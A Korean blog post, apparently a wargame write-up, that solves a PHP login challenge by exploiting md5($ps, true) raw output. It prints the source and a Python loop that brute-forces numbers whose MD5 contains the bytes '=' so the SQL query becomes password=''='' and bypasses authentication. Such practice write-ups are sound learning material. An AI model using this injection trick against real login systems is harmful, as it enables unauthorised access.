
풀이
소스
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
if(isset($_POST['ps'])){
sleep(1);
include("./lib.php"); # include for $FLAG, $DB_username, $DB_password.
$conn = mysqli_connect("localhost", $DB_username, $DB_password, "md5_password");
/*
create table admin_password(
password char(64) unique
);
*/
$ps = mysqli_real_escape_string($conn, $_POST['ps']);
$row=@mysqli_fetch_array(mysqli_query($conn, "select * from admin_password where password='".md5($ps,true)."'"));
if(isset($row[0])){
echo "hello admin!"."<br />";
echo "FLAG : ".$FLAG;
}else{
echo "wrong..";
}
}
?>
<style>
input[type=text] {width:200px;}
</style>
<br />
<br />
<form method="post" action="./index.php">
password : <input type="text" name="ps" /><input type="submit" value="login" />
</form>
<div><a href='?view-source'>get source</a></div>
이 부분을 보면
md5($ps, true)가 쿼리에 사용되는데
md5에 대해 검색해 보니
md5( string $str [, bool $raw_output = FALSE ] ) 문법을 가지고
str 변수로 전달된 문자열에 대한 해시값을 생성하고raw_output이 TRUE로 설정되면 16자리 바이너리 형식으로 반환하고,FALSE이면 32자리 16진수 값을 반환한다.
$ps = mysqli_real_escape_string($conn, $_POST['ps']);
$row=@mysqli_fetch_array(mysqli_query($conn, "select * from admin_password where password='".md5($ps,true)."'"));
if(isset($row[0])){
echo "hello admin!"."<br />";
echo "FLAG : ".$FLAG;
}else{
echo "wrong..";
}
}
MySQL에 대해 여러 가지 검색을 해보니
false=false는 true가 된다.
password 부분을 password=false=false로 만들면
WHERE true가 되기 때문에 password 일치 여부와 상관 없이
admin_password의 모든 데이터 출력
MySQL 온라인 툴을 이용해 여러 가지를 시도해보니
'''=''도 동일하게 true를 반환한다.

'='를 통해 password=''=''를 만들 수 있다.
import hashlib
for i in range(1, 100000000):
md5_hash = hashlib.md5(str(i).encode()).hexdigest()
if "273d27" in md5_hash:
print(i)
이렇게 여러 숫자를 생성하는데
그중 아무거나 사용하면 된다.


'Wargame - 웹' 카테고리의 다른 글
filestorage (0) | 2023.06.03 |
---|---|
[wargame.kr] fly me to the moon (0) | 2023.05.07 |
baby-sqlite (0) | 2023.05.03 |
weblog-1 (0) | 2023.05.01 |
mongoboard (0) | 2023.04.26 |